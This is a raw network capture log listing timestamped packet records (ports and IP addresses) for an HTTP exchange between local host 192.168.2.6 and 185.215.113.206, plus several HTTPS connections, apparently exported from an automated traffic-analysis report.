Nov 20, 2024 14:43:40.682802916 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.682874918 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.682923079 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.683661938 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.683979034 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.684149027 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.684458017 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.684602022 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.685681105 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.685830116 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.686592102 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.686908007 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.687472105 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.687607050 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.688621998 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.688935041 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.689665079 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.692749977 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.692771912 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.692977905 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.692991018 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.693033934 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.693141937 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.693886995 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.693948984 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.694169044 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.694456100 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.694943905 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.694963932 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.695003033 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.695025921 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.696218014 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.696234941 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.696341038 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.697117090 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.697202921 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.698069096 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.698075056 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.698206902 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.698237896 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.698255062 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.699054003 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.699104071 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.699805021 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.699856997 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.700042963 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.700064898 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.700092077 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.700114012 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.701195002 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.701308966 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.701683998 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.701782942 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.702172041 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.702184916 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.702382088 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.703195095 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.703367949 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.703457117 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.704174995 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.704483986 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.704552889 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.705471039 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.705533028 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.705970049 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.706067085 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.706255913 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.706269979 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.706305981 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.767151117 CET	49858	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:40.801448107 CET	49857	443	192.168.2.6	13.107.246.38
Nov 20, 2024 14:43:40.852632999 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.852746964 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.852807999 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.853404999 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.853416920 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.853480101 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.854285002 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.854347944 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.854423046 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.854463100 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.855331898 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.855345011 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.855400085 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.855416059 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.856370926 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.856584072 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.856647015 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.857573986 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.857633114 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.857671022 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.857769012 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.858198881 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.858634949 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.858670950 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.858691931 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.859280109 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.859298944 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.859353065 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.860409021 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.860476017 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.860523939 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.861326933 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.861445904 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.861502886 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.862411022 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.862993956 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.863051891 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.863599062 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.863645077 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.863804102 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.863893032 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.864326000 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.864368916 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.864409924 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.865483046 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.865530014 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.866147995 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.866445065 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.866456985 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.866497993 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.866530895 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.867387056 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.868046999 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.868118048 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.868453026 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.868494987 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.869107962 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.869503975 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.869515896 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.869553089 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.869580030 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.870474100 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.871499062 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.871573925 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.871653080 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.871671915 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.871711969 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.872423887 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.872843981 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.872899055 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.873594046 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.873605013 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.873641014 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.873682022 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.874636889 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.875452042 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.875531912 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.875709057 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.875756979 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.876157045 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.876211882 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.876651049 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.876847982 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.876921892 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.876971960 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.877563000 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.877604008 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.877749920 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.878613949 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.878632069 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.878882885 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.881182909 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.881196976 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.881230116 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.881256104 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.881310940 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.881356955 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.881393909 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.881408930 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.881431103 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.881447077 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.881601095 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.881756067 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.881793976 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.882920980 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.882978916 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.883606911 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.883650064 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.883996010 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.884182930 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.884531021 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.884675980 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.884710073 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.884951115 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.885662079 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.885834932 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.885879040 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.886327982 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.886446953 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.886810064 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.886959076 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.887070894 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.887931108 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.887986898 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.888087988 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.888895035 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.888955116 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.889049053 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.889781952 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.889821053 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.890904903 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.890918970 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.890961885 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.890999079 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.891021967 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.891056061 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.892108917 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.892157078 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.892505884 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.892810106 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.892855883 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.893980980 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.893995047 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.894006968 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.894028902 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.894052982 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.894972086 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.895040989 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.895394087 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.895925999 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.895976067 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.896136045 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.897119045 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.897212982 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.897257090 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.897587061 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.898066998 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.898606062 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.898623943 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.898880005 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.898971081 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.899485111 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.899554968 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.900084972 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.900136948 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.900372982 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.900544882 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.901165009 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.901176929 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.901273012 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.902009964 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.902021885 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.902064085 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.902098894 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.903039932 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.903208971 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.903273106 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.904040098 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.904119015 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.904946089 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.905126095 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.905138016 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.905193090 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.906337023 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.906382084 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.927594900 CET	443	49859	152.195.19.97	192.168.2.6
Nov 20, 2024 14:43:40.939976931 CET	443	49855	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:40.940042019 CET	443	49855	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:40.942116022 CET	49855	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:40.942161083 CET	49855	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:40.942182064 CET	443	49855	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:40.942194939 CET	49855	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:40.942199945 CET	443	49855	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:40.946046114 CET	49866	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:40.946088076 CET	443	49866	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:40.950428009 CET	49866	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:40.950428009 CET	49866	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:40.950464964 CET	443	49866	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:40.956263065 CET	443	49859	152.195.19.97	192.168.2.6
Nov 20, 2024 14:43:40.956276894 CET	443	49859	152.195.19.97	192.168.2.6
Nov 20, 2024 14:43:40.956291914 CET	443	49859	152.195.19.97	192.168.2.6
Nov 20, 2024 14:43:40.956300020 CET	443	49859	152.195.19.97	192.168.2.6
Nov 20, 2024 14:43:40.956327915 CET	49859	443	192.168.2.6	152.195.19.97
Nov 20, 2024 14:43:40.956341982 CET	443	49859	152.195.19.97	192.168.2.6
Nov 20, 2024 14:43:40.956361055 CET	443	49859	152.195.19.97	192.168.2.6
Nov 20, 2024 14:43:40.956361055 CET	49859	443	192.168.2.6	152.195.19.97
Nov 20, 2024 14:43:40.956401110 CET	49859	443	192.168.2.6	152.195.19.97
Nov 20, 2024 14:43:40.956819057 CET	49859	443	192.168.2.6	152.195.19.97
Nov 20, 2024 14:43:40.956828117 CET	443	49859	152.195.19.97	192.168.2.6
Nov 20, 2024 14:43:41.059129000 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.059144020 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.059206963 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.059259892 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.059416056 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.059456110 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.059595108 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.059636116 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.060347080 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.060410976 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.060730934 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.060779095 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.061589956 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.061604977 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.061664104 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.061683893 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.062824965 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.062841892 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.062887907 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.062913895 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.063519955 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.063867092 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.063901901 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.063940048 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.064094067 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.064105988 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.064176083 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.064239025 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.064250946 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.064286947 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.064747095 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.064760923 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.064800978 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.065818071 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.065829992 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.065896988 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.066716909 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.066925049 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.066951036 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.066970110 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.067507982 CET	443	49856	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.067576885 CET	443	49856	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.067636013 CET	49856	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.067809105 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.067821026 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.067863941 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.067939997 CET	49856	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.067949057 CET	443	49856	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.067989111 CET	49856	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:41.067994118 CET	443	49856	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:41.068722963 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.068881035 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.069108009 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.069793940 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.069807053 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.069873095 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.070894003 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.071170092 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:41.071255922 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:41.071748972 CET	80	49800	185.215.113.206	192.168.2.6
